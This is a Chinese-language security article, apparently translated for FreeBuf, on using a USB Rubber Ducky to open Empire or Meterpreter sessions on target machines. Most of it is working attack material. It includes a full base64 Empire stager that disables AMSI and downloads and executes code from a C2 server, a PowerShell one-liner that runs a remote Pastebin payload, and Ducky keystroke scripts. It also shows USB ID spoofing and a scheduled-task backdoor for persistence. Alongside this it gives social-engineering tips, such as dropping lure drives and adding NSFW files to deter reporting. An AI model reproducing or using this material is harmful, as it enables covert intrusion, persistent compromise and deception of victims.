利用USB RUBBER DUCKY(USB 橡皮鸭)在目标机器上启动Empire或Meterpreter会话

2017-08-06 415965人围观 ,发现 5 个不明物体 极客

今天我将教大家如何使用Rubber Ducky在渗透中建立EmpireMeterpreter会话连接。然而对于Ducky而言,想要完成大多数现实场景中的USB攻击,往往需要花费大量的时间去实践。本文概述了三种橡皮鸭速度的优化技术,以及最小化用户对Ducky的异常检测。

2.jpg

Rubber Ducky攻击向量

声东击西

当用户分散注意力时,随手将Ducky插入可访问的USB接口。

优点:能有效将Payload传递至目标系统;并且不易被用户发现。

缺点:这种方式通常时间较短,因此需要攻击者及USB的执行速度较快。其次,还需取决于对用户的欺骗以及USB接口的访问方便与否。

危险藏匿

在一些办公场所故意丢弃一个Ducky,例如接待处,停车场和浴室等这些地方通常成功率都相当高。为了不引起怀疑,我们可以将Ducky的标签更改为一些诱人的内容。除此之外,我们还可以利用联邦快递来传送Ducky,这将是一个很好的借口。

优点:显而易见相对于上种方式,你无需亲自去冒着被抓住的风险。当人们看到标有“2016度假照片”的USB时,好奇心总能驱使他们窥探。

缺点:用户在插入USB时会紧盯屏幕,因此容易发现问题。

神不知,鬼不觉

选择在深夜时间绕过物理安全控制,潜入无人值守的办公场所。

优点:一旦成功则不易被用户发现,且有足够的攻击时间。

缺点:风险巨大容易被抓住。

以上三种方式最常用的是前两种。可以看到这两种方式想要成功都必须有具备两个前提:速度和信任。下面我将通过优化Empire stager的传递执行时间,并尽可能的减少用户的怀疑。

标准方法

有关创建Empire stagers(传输器)的内容,请参阅Stagers 101

使用Empire的stager/windows/ducky,我们得到以下结果:

DELAY 3000
GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 2000
STRING powershell -W Hidden -nop -noni -enc WwBSAGUAZgBdAC4AQQBzAHMARQBNAGIATAB5AC4ARwBFAFQAVAB5AHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAGkARQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAFUAZQAoACQAbgBVAEwAbAAsACQAdABSAFUAZQApAH0AOwBbAFMAeQBTAFQAZQBtAC4ATgBFAFQALgBTAGUAcgB2AGkAQwBFAFAAbwBJAE4AdABNAEEATgBBAEcAZQBSAF0AOgA6AEUAWABwAEUAYwB0ADEAMAAwAEMATwBOAFQASQBOAFUARQA9ADAAOwAkAFcAQwA9AE4ARQBXAC0ATwBiAEoAZQBDAFQAIABTAHkAUwB0AEUATQAuAE4AZQBUAC4AVwBFAGIAQwBsAGkARQBOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AGMALgBIAGUAQQBkAEUAUgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAEUAQgBSAEUAUQB1AGUAcwBUAF0AOgA6AEQARQBGAGEAdQBMAHQAVwBFAEIAUAByAE8AeAB5ADsAJABXAEMALgBQAFIAbwBYAFkALgBDAFIARQBkAGUAbgB0AEkAQQBMAFMAIAA9ACAAWwBTAHkAcwBUAEUATQAuAE4ARQB0AC4AQwByAEUARABlAE4AdABpAEEAbABDAEEAQwBoAGUAXQA6ADoARABFAEYAQQBVAEwAVABOAEUAVABXAE8AUgBrAEMAUgBFAEQAZQBOAHQASQBhAGwAUwA7ACQASwA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAEMATwBkAGkATgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAcwAoACcAYwBJAHAAMABDADwASgAtAHMAbABUAF8AXgBAAGkANABQAEcALAA4AHgAWABGACsAZgBFAFIAMwB2AEQAfgBkACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABlAGEAZABFAHIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABiADEAcgBKAGoATABuAGwANQBKAGsAMABqADEATgAxAFYAZABoAHgAZwByAE8ANgArAFkAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgA6ADgAMAAnADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJABEAGEAVABBAD0AJABXAEMALgBEAE8AdwBOAGwAbwBhAGQARABhAFQAYQAoACQAcwBlAFIAKwAkAHQAKQA7ACQAaQBWAD0AJABEAEEAdABBAFsAMAAuAC4AMwBdADsAJABEAEEAdABhAD0AJABEAEEAdABBAFsANAAuAC4AJABEAGEAdABhAC4ATABFAG4ARwB0AEgAXQA7AC0ASgBPAEkATgBbAEMASABBAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAVABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
ENTER

完成时间:约38秒

输入字符:1 (r) + 10 (powershell) + 1 (ENTER) + 2657 (payload) + 1 (ENTER) = 2670 字符

我们遇到的第一个问题是驱动程序问题。大多数机器之前从未运行或加载过Ducky(或者特定的VID/PID),所以你必须假设加载驱动程序,将是我们在物理攻击中相对耗时和必不可少的一部分。

乍一看,我们似乎可以选择直接从“运行”框启动base64编码命令来节约时间,但这是不可能的因为该框不会接受这么多的字符。

声东击西:在3秒内执行Pastebin

步骤1:BASE64解码STAGER

$ echo "WwBSAEUARgBdAC4AQQBTAFMAZ...ACkAfABJAEUAWAA=" | base64 -d
[REF].ASSemBLY.GetType('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFieLd('amsiInitFailed','NonPublic,Static').SeTVaLUE($NULl,$TruE)};[SYStEm.NeT.SeRvIcEPoIntMaNager]::EXPEcT100CoNtiNUe=0;$WC=New-ObjeCT SysTeM.NeT.WebCLIeNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeAdeRs.ADD('User-Agent',$u);$WC.ProXy=[SystEm.NEt.WeBREqueSt]::DEfaULtWeBPRoXy;$wC.PRoXY.CreDENTIALS = [SYStEm.Net.CreDEnTIAlCaChe]::DEFAUltNEtworKCredENtIALS;$K=[SysTeM.TExT.ENcODING]::ASCII.GetBytES('cIp0C<J-slT_^@i4PG,8xXF+fER3vD~d');$R={$D,$K=$ARGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CouNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$Wc.HEadERs.ADD("Cookie","session=yf4qx5Kgt/VLttX7JIdbgtni/iQ=");$ser='http://192.168.1.2:80';$t='/login/process.php';$daTa=$WC.DOWNLOAdDAta($ser+$t);$Iv=$dAta[0..3];$DaTa=$daTA[4..$dAta.leNGTh];-JoiN[ChAr[]](& $R $DaTA ($IV+$K))|IEX

或者,你也可以使用Empire的multi/launcher将Base64选项设置为False来重新生成stager。

步骤2:将stager上传至Pastebin

将Base64解码的PowerShell复制粘贴至Pastebin并且保存原始路径。确保使用安全的https链接以避免检测。

示例请参阅:https://pastebin.com/raw/ani8ic5X

步骤3:创建一个POWERSHELL单线启动STAGER

powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"

我们使用最小选项“-ep bypass”来绕过执行策略,而’-w h’可以帮助我们在用户界面隐藏PowerShell窗口。

步骤4:时间调整

默认的Empire时间(3000和1000)非常的保守。通过对不同系统的测试,我们可以将它改为以下值:

DELAY 500
GUI r
DELAY 100

步骤5:锁定USB VID和PID

要想进一步的隐藏Ducky,我们还需要修改USB的供应商ID(VID)和产品ID(PID)。因为我们只是执行键盘注入,所以让我们来欺骗微软(0x045E)通用的“键盘”(0xFFF8)。你可以在这里下载到Microsoft vidpid.bin文件,并将其内容另复制保存为vidpid.bin移放至Ducky根目录下。

$ cp msft-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin

步骤6:整合

完成时间:约3秒

输入字符:1 (r) + 114 (payload)+ 1 (ENTER) = 116 字符

DELAY 500
GUI r
DELAY 100
STRING powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
ENTER

下载pastebin-payload.txt,使用自己的方式交换Pastebin链接。

编译ducky有效载荷(更多信息,请参阅Rubber Ducky wiki):

$ java -jar duckencoder.jar -i pastebin-payload.txt -o /media/PATH/TO/DUCKY/inject.bin

危险藏匿:增加可信度

由于第二种方式涉及受害者与Ducky的直接交互,因此攻击必须具备较高的可信度。这里我们还将使用相同的Pastebin传送系统,首先我们要做的是准备好Ducky USB驱动器。

步骤1:将RUBBER DUCKY固件更新到Twin Duck

擦除并将Ducky固件更新到Twin Duck固件(截止本文发布其版本为c_duck_v2.1.hex)。有关更详细的固件更新说明请参阅:https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Flashing-ducky 。

1.安装dfu-programmer:

$ sudo apt-get update && sudo apt-get install dfu-programmer

2.删除Ducky的闪存卡,并按下按钮将Ducky插入主机。

3.擦除当前固件:

$ sudo dfu-programmer at32uc3b1256 erase

4.将固件更新为Twin Duck:

$ sudo dfu-programmer at32uc3b1256 flash --suppress-bootloader-mem c_duck_v2.1.hex

5. 重置Ducky使它再次工作:

$ sudo dfu-programmer at32uc3b1256 reset

步骤2:锁定USB VID和PID

这里我们来模拟最常见的USB闪存驱动器芯片组:Alcor Micro Corp的(0x058F)通用“Flash Drive”(0×6387)。你可以下载一个定制的Alcor Micro vidpid.bin文件,并将其复制到Ducky。

$ cp alcor-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin

步骤3:为你的驱动器编造一个故事

例如只是一个目标公司CFO的驱动器,或是一个刚入公司的实习生的,这都将足以引起人们的好奇和窥探。同时,一个好的故事也将对下一步的成败起关键作用。

步骤4:添加驱动标签

在Linux中向FAT16驱动器添加标签的最简单方法是使用GParted。

  1. 通过读卡器加载MicroSD卡。
  2. 启动GParted并切换到USB驱动器(通常是/dev/sdb)
  3. 卸载驱动器(分区->卸载)
  4. 右键单击并转到“标签文件系统”,然后选择一个符合驱动器故事的标签
  5. 点击“应用”

步骤5:进一步的伪装

为了避免一些不必要的情况发生,例如用户将USB移交至IT部门,或拔掉网线电源导致大面积的故障出现,我们需要打造一个具有更好“用户体验”的驱动器。

  • 在驱动器中添加虚拟内容(如图片,文档等),增加其可信度。(备注:添加NSFW的内容,使得受害者不太可能将驱动器移交给IT部门)
  • 将’inject.bin’和’vidpid.bin’隐藏在Windows系统上。你可以使用 wine attrib + h 文件名 完成此操作,但我发现将SD卡加载到Windows机器上手动隐藏文件更加可靠。

步骤6:使用之前的PASTEBIN方法设置注入

Air Gapped系统和离线笔记本电脑:从存储执行

在这个例子中我们将创建一个有效负载,以在遇到那些未连接到互联网的计算机时也能创建一个持久性的会话。当然,这个有效载荷只是一个PoC。由于许多步骤与上述步骤相同,以下我只会说明每个步骤的不同之处。

步骤1:将RUBBER DUCKY固件更新到Twin Duck

步骤2:添加驱动标签

步骤3:BASE64解码EMPIRE STAGER并将其上传到PASTEBIN

步骤4:在POWERSHELL中创建调度任务

backdoor.ps1(点击下载):

$PScommand = 'powershell -ep bypass -w h -enc '
$IEXPayload = "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($IEXPayload)
$encCommand = [Convert]::ToBase64String($bytes)
$null = schtasks /Create /SC MINUTE /TN Updater /TR "$PScommand $encCommand"

注意:在本例中,脚本被设置为每隔60秒就检查一次互联网的访问,但在实际环境中,建议最好每隔几个小时甚至一天进行一次检查。

步骤5:将BACKDOOR.PS1添加到橡皮鸭

为了尽可能的减少Ducky需要输入的字符数量,我们将其重命名为“b.ps1”。

$ cp backdoor.ps1 /media/PATH/TO/DUCKY/b.ps1

步骤6:创建一个POWERSHELL单线启动BACKDOOR

我们需要找到 DUCKY SD的挂载字母,程序首先会寻找标有“DUCKY”的驱动器,然后提取该驱动器的字母,并将PowerShell文件追加到字符串并执行该脚本。

Windows 7-10(gwmi方法) – 104个字符

powershell -ep bypass -w h -c ".(((gwmi Win32_Volume | ? {$_.Label -eq 'DUCKY'}).DriveLetter)+'\b.ps1')"

Windows 8-10(Get-Volume方法) – 94个字符

powershell -ep bypass -w h -c ".(((Get-Volume -FileSystemLabel DUCKY).DriveLetter)+':\b.ps1')"

步骤7:设置时间

DELAY 2800
GUI r
DELAY 150

步骤8:锁定USB VID和PID

让我们再次来模拟Alcor Micro Corp的(0x058F)通用“Flash Drive”(0×6387)。你可以在这里下载

$ cp alcor-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin

步骤9:整合(GET-VOLUME方法)

完成时间:约9秒

输入字符: 1 (r) + 94 (payload)+ 1 (ENTER) = 96 字符

DELAY 2800
GUI r
DELAY 150
STRING powershell -ep bypass -w h -c ".(((Get-Volume -FileSystemLabel DUCKY).DriveLetter)+':\b.ps1')"
ENTER

点击下载Get-Volume有效载荷。你还可以在这里下载到gwmi版本

总结

在此前我们使用默认的Empire Ducky脚本,而它有足足2,670个字符,并且执行所花费时间也达到了38秒之久。在进行了相应的优化后,我们使用基于web的Empire stager,将执行时间缩短到了3秒,并且输入字符也减少到了116个。这意味只要3秒钟攻击者就可以成功渗透目标,并且难以被发现。我们还学习到如何创建一个具有较高可信度和用户体验的USB驱动器。这些人为因素的添加,大大降低了检测和事件报告率。最后,我们检查了从Ducky的内部磁盘执行脚本的PoC,即使计算机未连接到互联网时也能创建一个持久性的会话。以上讨论的所有技术都是无文件式攻击,因此对于绕过AV也有一定的效果。为了增加攻击的更加隐蔽性,在这里我建议大家尽可能的使用自己的基础设施/托管而不是Pastebin,因为许多这类比较知名的网站,在企业网络环境中极易被阻断和隔离。

*参考来源:sc0tfree,FB小编 secist 编译,转载请注明来自FreeBuf.COM

发表评论

已有 5 条评论

取消
Loading...

特别推荐

推荐关注

填写个人信息

姓名
电话
邮箱
公司
行业
职位
css.php